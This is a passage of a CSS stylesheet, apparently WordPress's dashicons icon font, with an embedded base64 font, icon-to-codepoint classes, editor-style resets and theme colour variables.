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") format("woff"),
		url("../fonts/dashicons.ttf?99ac726223c749443b642ce33df8b800") format("truetype");
	font-weight: 400;
	font-style: normal;
}
/* stylelint-enable */


.dashicons,
.dashicons-before:before {
	font-family: dashicons;
	display: inline-block;
	line-height: 1;
	font-weight: 400;
	font-style: normal;
	speak: never;
	text-decoration: inherit;
	text-transform: none;
	text-rendering: auto;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	width: 20px;
	height: 20px;
	font-size: 20px;
	vertical-align: top;
	text-align: center;
	transition: color 0.1s ease-in;
}

/* Icons */

.dashicons-admin-appearance:before {
	content: "\f100";
}

.dashicons-admin-collapse:before {
	content: "\f148";
}

.dashicons-admin-comments:before {
	content: "\f101";
}

.dashicons-admin-customizer:before {
	content: "\f540";
}

.dashicons-admin-generic:before {
	content: "\f111";
}

.dashicons-admin-home:before {
	content: "\f102";
}

.dashicons-admin-links:before {
	content: "\f103";
}

.dashicons-admin-media:before {
	content: "\f104";
}

.dashicons-admin-multisite:before {
	content: "\f541";
}

.dashicons-admin-network:before {
	content: "\f112";
}

.dashicons-admin-page:before {
	content: "\f105";
}

.dashicons-admin-plugins:before {
	content: "\f106";
}

.dashicons-admin-post:before {
	content: "\f109";
}

.dashicons-admin-settings:before {
	content: "\f108";
}

.dashicons-admin-site-alt:before {
	content: "\f11d";
}

.dashicons-admin-site-alt2:before {
	content: "\f11e";
}

.dashicons-admin-site-alt3:before {
	content: "\f11f";
}

.dashicons-admin-site:before {
	content: "\f319";
}

.dashicons-admin-tools:before {
	content: "\f107";
}

.dashicons-admin-users:before {
	content: "\f110";
}

.dashicons-airplane:before {
	content: "\f15f";
}

.dashicons-album:before {
	content: "\f514";
}

.dashicons-align-center:before {
	content: "\f134";
}

.dashicons-align-full-width:before {
	content: "\f114";
}

.dashicons-align-left:before {
	content: "\f135";
}

.dashicons-align-none:before {
	content: "\f138";
}

.dashicons-align-pull-left:before {
	content: "\f10a";
}

.dashicons-align-pull-right:before {
	content: "\f10b";
}

.dashicons-align-right:before {
	content: "\f136";
}

.dashicons-align-wide:before {
	content: "\f11b";
}

.dashicons-amazon:before {
	content: "\f162";
}

.dashicons-analytics:before {
	content: "\f183";
}

.dashicons-archive:before {
	content: "\f480";
}

.dashicons-arrow-down-alt:before {
	content: "\f346";
}

.dashicons-arrow-down-alt2:before {
	content: "\f347";
}

.dashicons-arrow-down:before {
	content: "\f140";
}

.dashicons-arrow-left-alt:before {
	content: "\f340";
}

.dashicons-arrow-left-alt2:before {
	content: "\f341";
}

.dashicons-arrow-left:before {
	content: "\f141";
}

.dashicons-arrow-right-alt:before {
	content: "\f344";
}

.dashicons-arrow-right-alt2:before {
	content: "\f345";
}

.dashicons-arrow-right:before {
	content: "\f139";
}

.dashicons-arrow-up-alt:before {
	content: "\f342";
}

.dashicons-arrow-up-alt2:before {
	content: "\f343";
}

.dashicons-arrow-up-duplicate:before {
	content: "\f143";
}

.dashicons-arrow-up:before {
	content: "\f142";
}

.dashicons-art:before {
	content: "\f309";
}

.dashicons-awards:before {
	content: "\f313";
}

.dashicons-backup:before {
	content: "\f321";
}

.dashicons-bank:before {
	content: "\f16a";
}

.dashicons-beer:before {
	content: "\f16c";
}

.dashicons-bell:before {
	content: "\f16d";
}

.dashicons-block-default:before {
	content: "\f12b";
}

.dashicons-book-alt:before {
	content: "\f331";
}

.dashicons-book:before {
	content: "\f330";
}

.dashicons-buddicons-activity:before {
	content: "\f452";
}

.dashicons-buddicons-bbpress-logo:before {
	content: "\f477";
}

.dashicons-buddicons-buddypress-logo:before {
	content: "\f448";
}

.dashicons-buddicons-community:before {
	content: "\f453";
}

.dashicons-buddicons-forums:before {
	content: "\f449";
}

.dashicons-buddicons-friends:before {
	content: "\f454";
}

.dashicons-buddicons-groups:before {
	content: "\f456";
}

.dashicons-buddicons-pm:before {
	content: "\f457";
}

.dashicons-buddicons-replies:before {
	content: "\f451";
}

.dashicons-buddicons-topics:before {
	content: "\f450";
}

.dashicons-buddicons-tracking:before {
	content: "\f455";
}

.dashicons-building:before {
	content: "\f512";
}

.dashicons-businessman:before {
	content: "\f338";
}

.dashicons-businessperson:before {
	content: "\f12e";
}

.dashicons-businesswoman:before {
	content: "\f12f";
}

.dashicons-button:before {
	content: "\f11a";
}

.dashicons-calculator:before {
	content: "\f16e";
}

.dashicons-calendar-alt:before {
	content: "\f508";
}

.dashicons-calendar:before {
	content: "\f145";
}

.dashicons-camera-alt:before {
	content: "\f129";
}

.dashicons-camera:before {
	content: "\f306";
}

.dashicons-car:before {
	content: "\f16b";
}

.dashicons-carrot:before {
	content: "\f511";
}

.dashicons-cart:before {
	content: "\f174";
}

.dashicons-category:before {
	content: "\f318";
}

.dashicons-chart-area:before {
	content: "\f239";
}

.dashicons-chart-bar:before {
	content: "\f185";
}

.dashicons-chart-line:before {
	content: "\f238";
}

.dashicons-chart-pie:before {
	content: "\f184";
}

.dashicons-clipboard:before {
	content: "\f481";
}

.dashicons-clock:before {
	content: "\f469";
}

.dashicons-cloud-saved:before {
	content: "\f137";
}

.dashicons-cloud-upload:before {
	content: "\f13b";
}

.dashicons-cloud:before {
	content: "\f176";
}

.dashicons-code-standards:before {
	content: "\f13a";
}

.dashicons-coffee:before {
	content: "\f16f";
}

.dashicons-color-picker:before {
	content: "\f131";
}

.dashicons-columns:before {
	content: "\f13c";
}

.dashicons-controls-back:before {
	content: "\f518";
}

.dashicons-controls-forward:before {
	content: "\f519";
}

.dashicons-controls-pause:before {
	content: "\f523";
}

.dashicons-controls-play:before {
	content: "\f522";
}

.dashicons-controls-repeat:before {
	content: "\f515";
}

.dashicons-controls-skipback:before {
	content: "\f516";
}

.dashicons-controls-skipforward:before {
	content: "\f517";
}

.dashicons-controls-volumeoff:before {
	content: "\f520";
}

.dashicons-controls-volumeon:before {
	content: "\f521";
}

.dashicons-cover-image:before {
	content: "\f13d";
}

.dashicons-dashboard:before {
	content: "\f226";
}

.dashicons-database-add:before {
	content: "\f170";
}

.dashicons-database-export:before {
	content: "\f17a";
}

.dashicons-database-import:before {
	content: "\f17b";
}

.dashicons-database-remove:before {
	content: "\f17c";
}

.dashicons-database-view:before {
	content: "\f17d";
}

.dashicons-database:before {
	content: "\f17e";
}

.dashicons-desktop:before {
	content: "\f472";
}

.dashicons-dismiss:before {
	content: "\f153";
}

.dashicons-download:before {
	content: "\f316";
}

.dashicons-drumstick:before {
	content: "\f17f";
}

.dashicons-edit-large:before {
	content: "\f327";
}

.dashicons-edit-page:before {
	content: "\f186";
}

.dashicons-edit:before {
	content: "\f464";
}

.dashicons-editor-aligncenter:before {
	content: "\f207";
}

.dashicons-editor-alignleft:before {
	content: "\f206";
}

.dashicons-editor-alignright:before {
	content: "\f208";
}

.dashicons-editor-bold:before {
	content: "\f200";
}

.dashicons-editor-break:before {
	content: "\f474";
}

.dashicons-editor-code-duplicate:before {
	content: "\f494";
}

.dashicons-editor-code:before {
	content: "\f475";
}

.dashicons-editor-contract:before {
	content: "\f506";
}

.dashicons-editor-customchar:before {
	content: "\f220";
}

.dashicons-editor-expand:before {
	content: "\f211";
}

.dashicons-editor-help:before {
	content: "\f223";
}

.dashicons-editor-indent:before {
	content: "\f222";
}

.dashicons-editor-insertmore:before {
	content: "\f209";
}

.dashicons-editor-italic:before {
	content: "\f201";
}

.dashicons-editor-justify:before {
	content: "\f214";
}

.dashicons-editor-kitchensink:before {
	content: "\f212";
}

.dashicons-editor-ltr:before {
	content: "\f10c";
}

.dashicons-editor-ol-rtl:before {
	content: "\f12c";
}

.dashicons-editor-ol:before {
	content: "\f204";
}

.dashicons-editor-outdent:before {
	content: "\f221";
}

.dashicons-editor-paragraph:before {
	content: "\f476";
}

.dashicons-editor-paste-text:before {
	content: "\f217";
}

.dashicons-editor-paste-word:before {
	content: "\f216";
}

.dashicons-editor-quote:before {
	content: "\f205";
}

.dashicons-editor-removeformatting:before {
	content: "\f218";
}

.dashicons-editor-rtl:before {
	content: "\f320";
}

.dashicons-editor-spellcheck:before {
	content: "\f210";
}

.dashicons-editor-strikethrough:before {
	content: "\f224";
}

.dashicons-editor-table:before {
	content: "\f535";
}

.dashicons-editor-textcolor:before {
	content: "\f215";
}

.dashicons-editor-ul:before {
	content: "\f203";
}

.dashicons-editor-underline:before {
	content: "\f213";
}

.dashicons-editor-unlink:before {
	content: "\f225";
}

.dashicons-editor-video:before {
	content: "\f219";
}

.dashicons-ellipsis:before {
	content: "\f11c";
}

.dashicons-email-alt:before {
	content: "\f466";
}

.dashicons-email-alt2:before {
	content: "\f467";
}

.dashicons-email:before {
	content: "\f465";
}

.dashicons-embed-audio:before {
	content: "\f13e";
}

.dashicons-embed-generic:before {
	content: "\f13f";
}

.dashicons-embed-photo:before {
	content: "\f144";
}

.dashicons-embed-post:before {
	content: "\f146";
}

.dashicons-embed-video:before {
	content: "\f149";
}

.dashicons-excerpt-view:before {
	content: "\f164";
}

.dashicons-exit:before {
	content: "\f14a";
}

.dashicons-external:before {
	content: "\f504";
}

.dashicons-facebook-alt:before {
	content: "\f305";
}

.dashicons-facebook:before {
	content: "\f304";
}

.dashicons-feedback:before {
	content: "\f175";
}

.dashicons-filter:before {
	content: "\f536";
}

.dashicons-flag:before {
	content: "\f227";
}

.dashicons-food:before {
	content: "\f187";
}

.dashicons-format-aside:before {
	content: "\f123";
}

.dashicons-format-audio:before {
	content: "\f127";
}

.dashicons-format-chat:before {
	content: "\f125";
}

.dashicons-format-gallery:before {
	content: "\f161";
}

.dashicons-format-image:before {
	content: "\f128";
}

.dashicons-format-quote:before {
	content: "\f122";
}

.dashicons-format-status:before {
	content: "\f130";
}

.dashicons-format-video:before {
	content: "\f126";
}

.dashicons-forms:before {
	content: "\f314";
}

.dashicons-fullscreen-alt:before {
	content: "\f188";
}

.dashicons-fullscreen-exit-alt:before {
	content: "\f189";
}

.dashicons-games:before {
	content: "\f18a";
}

.dashicons-google:before {
	content: "\f18b";
}

.dashicons-googleplus:before {
	content: "\f462";
}

.dashicons-grid-view:before {
	content: "\f509";
}

.dashicons-groups:before {
	content: "\f307";
}

.dashicons-hammer:before {
	content: "\f308";
}

.dashicons-heading:before {
	content: "\f10e";
}

.dashicons-heart:before {
	content: "\f487";
}

.dashicons-hidden:before {
	content: "\f530";
}

.dashicons-hourglass:before {
	content: "\f18c";
}

.dashicons-html:before {
	content: "\f14b";
}

.dashicons-id-alt:before {
	content: "\f337";
}

.dashicons-id:before {
	content: "\f336";
}

.dashicons-image-crop:before {
	content: "\f165";
}

.dashicons-image-filter:before {
	content: "\f533";
}

.dashicons-image-flip-horizontal:before {
	content: "\f169";
}

.dashicons-image-flip-vertical:before {
	content: "\f168";
}

.dashicons-image-rotate-left:before {
	content: "\f166";
}

.dashicons-image-rotate-right:before {
	content: "\f167";
}

.dashicons-image-rotate:before {
	content: "\f531";
}

.dashicons-images-alt:before {
	content: "\f232";
}

.dashicons-images-alt2:before {
	content: "\f233";
}

.dashicons-index-card:before {
	content: "\f510";
}

.dashicons-info-outline:before {
	content: "\f14c";
}

.dashicons-info:before {
	content: "\f348";
}

.dashicons-insert-after:before {
	content: "\f14d";
}

.dashicons-insert-before:before {
	content: "\f14e";
}

.dashicons-insert:before {
	content: "\f10f";
}

.dashicons-instagram:before {
	content: "\f12d";
}

.dashicons-laptop:before {
	content: "\f547";
}

.dashicons-layout:before {
	content: "\f538";
}

.dashicons-leftright:before {
	content: "\f229";
}

.dashicons-lightbulb:before {
	content: "\f339";
}

.dashicons-linkedin:before {
	content: "\f18d";
}

.dashicons-list-view:before {
	content: "\f163";
}

.dashicons-location-alt:before {
	content: "\f231";
}

.dashicons-location:before {
	content: "\f230";
}

.dashicons-lock-duplicate:before {
	content: "\f315";
}

.dashicons-lock:before {
	content: "\f160";
}

.dashicons-marker:before {
	content: "\f159";
}

.dashicons-media-archive:before {
	content: "\f501";
}

.dashicons-media-audio:before {
	content: "\f500";
}

.dashicons-media-code:before {
	content: "\f499";
}

.dashicons-media-default:before {
	content: "\f498";
}

.dashicons-media-document:before {
	content: "\f497";
}

.dashicons-media-interactive:before {
	content: "\f496";
}

.dashicons-media-spreadsheet:before {
	content: "\f495";
}

.dashicons-media-text:before {
	content: "\f491";
}

.dashicons-media-video:before {
	content: "\f490";
}

.dashicons-megaphone:before {
	content: "\f488";
}

.dashicons-menu-alt:before {
	content: "\f228";
}

.dashicons-menu-alt2:before {
	content: "\f329";
}

.dashicons-menu-alt3:before {
	content: "\f349";
}

.dashicons-menu:before {
	content: "\f333";
}

.dashicons-microphone:before {
	content: "\f482";
}

.dashicons-migrate:before {
	content: "\f310";
}

.dashicons-minus:before {
	content: "\f460";
}

.dashicons-money-alt:before {
	content: "\f18e";
}

.dashicons-money:before {
	content: "\f526";
}

.dashicons-move:before {
	content: "\f545";
}

.dashicons-nametag:before {
	content: "\f484";
}

.dashicons-networking:before {
	content: "\f325";
}

.dashicons-no-alt:before {
	content: "\f335";
}

.dashicons-no:before {
	content: "\f158";
}

.dashicons-open-folder:before {
	content: "\f18f";
}

.dashicons-palmtree:before {
	content: "\f527";
}

.dashicons-paperclip:before {
	content: "\f546";
}

.dashicons-pdf:before {
	content: "\f190";
}

.dashicons-performance:before {
	content: "\f311";
}

.dashicons-pets:before {
	content: "\f191";
}

.dashicons-phone:before {
	content: "\f525";
}

.dashicons-pinterest:before {
	content: "\f192";
}

.dashicons-playlist-audio:before {
	content: "\f492";
}

.dashicons-playlist-video:before {
	content: "\f493";
}

.dashicons-plugins-checked:before {
	content: "\f485";
}

.dashicons-plus-alt:before {
	content: "\f502";
}

.dashicons-plus-alt2:before {
	content: "\f543";
}

.dashicons-plus:before {
	content: "\f132";
}

.dashicons-podio:before {
	content: "\f19c";
}

.dashicons-portfolio:before {
	content: "\f322";
}

.dashicons-post-status:before {
	content: "\f173";
}

.dashicons-pressthis:before {
	content: "\f157";
}

.dashicons-printer:before {
	content: "\f193";
}

.dashicons-privacy:before {
	content: "\f194";
}

.dashicons-products:before {
	content: "\f312";
}

.dashicons-randomize:before {
	content: "\f503";
}

.dashicons-reddit:before {
	content: "\f195";
}

.dashicons-redo:before {
	content: "\f172";
}

.dashicons-remove:before {
	content: "\f14f";
}

.dashicons-rest-api:before {
	content: "\f124";
}

.dashicons-rss:before {
	content: "\f303";
}

.dashicons-saved:before {
	content: "\f15e";
}

.dashicons-schedule:before {
	content: "\f489";
}

.dashicons-screenoptions:before {
	content: "\f180";
}

.dashicons-search:before {
	content: "\f179";
}

.dashicons-share-alt:before {
	content: "\f240";
}

.dashicons-share-alt2:before {
	content: "\f242";
}

.dashicons-share:before {
	content: "\f237";
}

.dashicons-shield-alt:before {
	content: "\f334";
}

.dashicons-shield:before {
	content: "\f332";
}

.dashicons-shortcode:before {
	content: "\f150";
}

.dashicons-slides:before {
	content: "\f181";
}

.dashicons-smartphone:before {
	content: "\f470";
}

.dashicons-smiley:before {
	content: "\f328";
}

.dashicons-sort:before {
	content: "\f156";
}

.dashicons-sos:before {
	content: "\f468";
}

.dashicons-spotify:before {
	content: "\f196";
}

.dashicons-star-empty:before {
	content: "\f154";
}

.dashicons-star-filled:before {
	content: "\f155";
}

.dashicons-star-half:before {
	content: "\f459";
}

.dashicons-sticky:before {
	content: "\f537";
}

.dashicons-store:before {
	content: "\f513";
}

.dashicons-superhero-alt:before {
	content: "\f197";
}

.dashicons-superhero:before {
	content: "\f198";
}

.dashicons-table-col-after:before {
	content: "\f151";
}

.dashicons-table-col-before:before {
	content: "\f152";
}

.dashicons-table-col-delete:before {
	content: "\f15a";
}

.dashicons-table-row-after:before {
	content: "\f15b";
}

.dashicons-table-row-before:before {
	content: "\f15c";
}

.dashicons-table-row-delete:before {
	content: "\f15d";
}

.dashicons-tablet:before {
	content: "\f471";
}

.dashicons-tag:before {
	content: "\f323";
}

.dashicons-tagcloud:before {
	content: "\f479";
}

.dashicons-testimonial:before {
	content: "\f473";
}

.dashicons-text-page:before {
	content: "\f121";
}

.dashicons-text:before {
	content: "\f478";
}

.dashicons-thumbs-down:before {
	content: "\f542";
}

.dashicons-thumbs-up:before {
	content: "\f529";
}

.dashicons-tickets-alt:before {
	content: "\f524";
}

.dashicons-tickets:before {
	content: "\f486";
}

.dashicons-tide:before {
	content: "\f10d";
}

.dashicons-translation:before {
	content: "\f326";
}

.dashicons-trash:before {
	content: "\f182";
}

.dashicons-twitch:before {
	content: "\f199";
}

.dashicons-twitter-alt:before {
	content: "\f302";
}

.dashicons-twitter:before {
	content: "\f301";
}

.dashicons-undo:before {
	content: "\f171";
}

.dashicons-universal-access-alt:before {
	content: "\f507";
}

.dashicons-universal-access:before {
	content: "\f483";
}

.dashicons-unlock:before {
	content: "\f528";
}

.dashicons-update-alt:before {
	content: "\f113";
}

.dashicons-update:before {
	content: "\f463";
}

.dashicons-upload:before {
	content: "\f317";
}

.dashicons-vault:before {
	content: "\f178";
}

.dashicons-video-alt:before {
	content: "\f234";
}

.dashicons-video-alt2:before {
	content: "\f235";
}

.dashicons-video-alt3:before {
	content: "\f236";
}

.dashicons-visibility:before {
	content: "\f177";
}

.dashicons-warning:before {
	content: "\f534";
}

.dashicons-welcome-add-page:before {
	content: "\f133";
}

.dashicons-welcome-comments:before {
	content: "\f117";
}

.dashicons-welcome-learn-more:before {
	content: "\f118";
}

.dashicons-welcome-view-site:before {
	content: "\f115";
}

.dashicons-welcome-widgets-menus:before {
	content: "\f116";
}

.dashicons-welcome-write-blog:before {
	content: "\f119";
}

.dashicons-whatsapp:before {
	content: "\f19a";
}

.dashicons-wordpress-alt:before {
	content: "\f324";
}

.dashicons-wordpress:before {
	content: "\f120";
}

.dashicons-xing:before {
	content: "\f19d";
}

.dashicons-yes-alt:before {
	content: "\f12a";
}

.dashicons-yes:before {
	content: "\f147";
}

.dashicons-youtube:before {
	content: "\f19b";
}

/* Additional CSS classes, manually added to the CSS template file */

.dashicons-editor-distractionfree:before {
	content: "\f211";
}

/* This is a typo, but was previously released. It should remain for backward compatibility. See https://core.trac.wordpress.org/ticket/30832. */
.dashicons-exerpt-view:before {
	content: "\f164";
}

.dashicons-format-links:before {
	content: "\f103";
}

.dashicons-format-standard:before {
	content: "\f109";
}

.dashicons-post-trash:before {
	content: "\f182";
}

.dashicons-share1:before {
	content: "\f237";
}

.dashicons-welcome-edit-page:before {
	content: "\f119";
}
:where(.editor-styles-wrapper){
  background:#fff;
  color:initial;
  font-family:serif;
  font-size:medium;
  line-height:normal;
}
:where(.editor-styles-wrapper) .wp-align-wrapper{
  max-width:840px;
}
:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-full,:where(.editor-styles-wrapper) .wp-align-wrapper>.wp-block{
  max-width:none;
}
:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-wide{
  max-width:840px;
}
:where(.editor-styles-wrapper) a{
  transition:none;
}
:where(.editor-styles-wrapper) code,:where(.editor-styles-wrapper) kbd{
  background:inherit;
  font-family:monospace;
  font-size:inherit;
  margin:0;
  padding:0;
}
:where(.editor-styles-wrapper) p{
  font-size:revert;
  line-height:revert;
  margin:revert;
}
:where(.editor-styles-wrapper) ol,:where(.editor-styles-wrapper) ul{
  box-sizing:border-box;
  list-style-type:revert;
  margin:revert;
  padding:revert;
}
:where(.editor-styles-wrapper) ol ol,:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ol,:where(.editor-styles-wrapper) ul ul{
  margin:revert;
}
:where(.editor-styles-wrapper) ol li,:where(.editor-styles-wrapper) ul li{
  margin:revert;
}
:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ul{
  list-style-type:revert;
}
:where(.editor-styles-wrapper) h1,:where(.editor-styles-wrapper) h2,:where(.editor-styles-wrapper) h3,:where(.editor-styles-wrapper) h4,:where(.editor-styles-wrapper) h5,:where(.editor-styles-wrapper) h6{
  color:revert;
  font-size:revert;
  font-weight:revert;
  line-height:revert;
  margin:revert;
}
:where(.editor-styles-wrapper) select{
  -webkit-appearance:revert;
  background:revert;
  border:revert;
  border-radius:revert;
  box-shadow:revert;
  color:revert;
  cursor:revert;
  font-family:system-ui;
  font-size:revert;
  font-weight:revert;
  line-height:revert;
  margin:revert;
  max-width:revert;
  min-height:revert;
  outline:revert;
  padding:revert;
  text-shadow:revert;
  transform:revert;
  vertical-align:revert;
}
:where(.editor-styles-wrapper) select:disabled,:where(.editor-styles-wrapper) select:focus{
  background-color:revert;
  background-image:revert;
  border-color:revert;
  box-shadow:revert;
  color:revert;
  cursor:revert;
  text-shadow:revert;
  transform:revert;
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root 